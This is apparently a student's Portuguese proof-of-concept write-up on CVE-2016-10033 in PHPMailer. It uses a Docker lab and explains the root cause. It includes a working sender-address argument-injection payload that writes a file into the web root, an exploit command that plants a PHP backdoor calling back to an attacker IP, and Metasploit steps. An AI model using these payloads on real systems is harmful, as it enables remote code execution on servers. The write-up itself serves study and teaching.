
Prova de Conceito para o CVE-2016-10033 (PHPMailer)
Primeiro, vamos colocar a aplicação vulnerável em funcionamento
Comando: docker pull vulnerables/cve-2016-10033


Agora você pode acessar o site vulnerável em localhost:8080 no navegador web.

Entrada de Nome: OSEC (pode ser qualquer string, isso não afeta o exploit)
Email do Remetente Forjado: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
Como este email de remetente forjado funciona é explicado em profundidade na seção de descrição do vetor de ataque. Quanto aos parâmetros específicos, o segundo parâmetro -oQ/tmp especifica o diretório de fila e o terceiro parâmetro, -X/www/pwn.html, especifica a localização do arquivo de log a ser escrito.
Se o diretório de fila não for especificado, o processo sendmail tentaria acessar o diretório de fila de correio padrão (/var/spool/mqueue-client/), que seria protegido para evitar acesso não autorizado e adulteração, uma medida de segurança comum. Para evitar esse problema de permissão, você deve especificar um diretório de fila onde o usuário que executa o script PHP tenha permissões de escrita. Comumente, um diretório como /tmp é usado, pois geralmente é gravável por todos os usuários.
Se o corpo do email contém código PHP, e se o arquivo de log especificado for colocado em um diretório acessível pela web, o atacante pode executar o código PHP acessando o arquivo de log através de um navegador web, resultando em execução remota de código.
Entrada de Mensagem: Este é apenas um exemplo de arquivo html que um atacante poderia enviar. Claro, o atacante poderia enviar algo muito pior, como uma backdoor, que faremos no próximo método de exploração.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> especifica a url alvo
-cf -> especifica a localização do formulário de contato dentro da url especificada em -url. (No nosso caso, é exatamente o mesmo que -url, então incluímos apenas uma barra)
-ip -> especifica o IP do atacante para a backdoor se conectar de volta
-d -> especifica o diretório relativo para enviar o arquivo php da backdoor
--post-action -> O atributo name do campo oculto
--post-msg -> O atributo name do campo de entrada de mensagem
Nota: A razão pela qual temos que especificar --post-action como "submit" e --post-msg como "message" é que, na aplicação vulnerável que estamos usando, o atributo name é diferente dos valores padrão usados no script de exploit Python.
Os atributos name na aplicação vulnerável:

Os atributos name padrão especificados no script:


Na imagem acima, você pode ver que o programa está tentando acessar http://127.0.0.1:8080//www/phpbackdoor9284.php, o que obviamente está incorreto por causa de //www. Isso não funcionará porque, neste site vulnerável, /www é a raiz do site, portanto, você não pode navegar para http://127.0.0.1:8080/www, já que http://127.0.0.1:8080 já está em /www.
Também na imagem abaixo, podemos ver que o exploit realmente funcionou porque o phpbackdoor9284.php foi criado com sucesso no diretório. Portanto, o único problema era como remover aquele //www da url.

Após uma inspeção mais aprofundada do script Python, conseguimos localizar a variável BACKDOOR_URL, que especifica a URL para o arquivo php da backdoor.
Na variável, podemos ver que o diretório alvo que especificamos (args.TARGET_UP_DIR) está sendo concatenado junto com a variável BACKDOOR_FILE.
Para resolver o problema, precisamos remover isso e a barra adicional.
Antes:

Depois:


Comandos:
msfconsole
search CVE-2016-10033
use 1

Comandos:
set RHOSTS 192.168.79.1 (especifica o IP do alvo)
set RPORT 8080 (especifica a porta do alvo)
set TARGETURI /(especifica a URL do formulário web)
set WEB_ROOT /www (especifica onde está a raiz do site)

Comando: exploit

Chegamos ao final do POC.
A classe PHPMailer usa a função mail() do PHP como seu transporte padrão.
O transporte é implementado usando a função mailSend():

Se você olhar na linha 12,

o endereço do remetente é concatenado com -f conforme a documentação do PHP da função mail() para informar ao binário sendmail que a string após o argumento -f é o endereço de email do Remetente.

Na última linha da função mailSend(),

todos os argumentos necessários para a função mail() do PHP são passados, incluindo o 5º parâmetro $params, que permite passar parâmetros extras para o binário sendmail.
A imagem abaixo mostra os parâmetros que a função mail() recebe, que correspondem aos parâmetros que a função mailSend() passa.

Como visto acima, sabemos que a string $params é construída a partir da variável Sender. Esta string Sender é normalmente definida usando o método setFrom(), que valida o endereço do Remetente que o usuário digita no formulário web.

Devido à validação da função validateAddress(), o PHPMailer rejeitaria, por exemplo, um email como:
attacker -InjectedParam2 @attacker.com
o que impediria a injeção de parâmetros adicionais ao Sendmail através da função mail().
Após uma pesquisa mais aprofundada pelo fundador do CVE, ele percebeu que a validação é na verdade feita usando a especificação RFC 3696.
A RFC permite que emails contenham espaços quando entre aspas ". Portanto, o seguinte endereço de email seria aceito pelo método setFrom():
"Attacker -Param2 -Param3"@test.com
Que então seria passado para a função mailSend() e depois para a função mail() do PHP, que executaria /usr/bin/sendmail, o binário MTA (Mail Transfer Agent), com a seguinte lista de argumentos:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t] (ler destinatários dos cabeçalhos)
Arg no. 2 == [-i] (ignorar pontos nas linhas)
Arg no. 3 == [-f”Attacker -Param2 -Param3”@test.com]
Em outras palavras, assim:

o que não funcionaria para o atacante, já que Param2 e Param3 são passados dentro do mesmo número de argumento 3, que especifica o endereço do remetente.
No entanto, os atacantes podem escapar disso com algum escape extra. Injetando uma sequência extra de \" no email do remetente após o primeiro argumento,
"Attacker \" -Param2 -Param3"@test.com
e quando passado para o PHPMailer e eventualmente para a função mail(), ele executaria o binário sendmail com a seguinte lista de argumentos:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]
Em outras palavras, assim:

Portanto, desta vez os atacantes seriam capazes de injetar parâmetros adicionais, neste caso parâmetros 4 e 5.
Esta vulnerabilidade foi encontrada por Dawid Golunski.
A imagem Docker foi criada por opsxcq - https://github.com/opsxcq
e por último, mas não menos importante, meus adoráveis membros do grupo que me ajudaram com o POC:
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/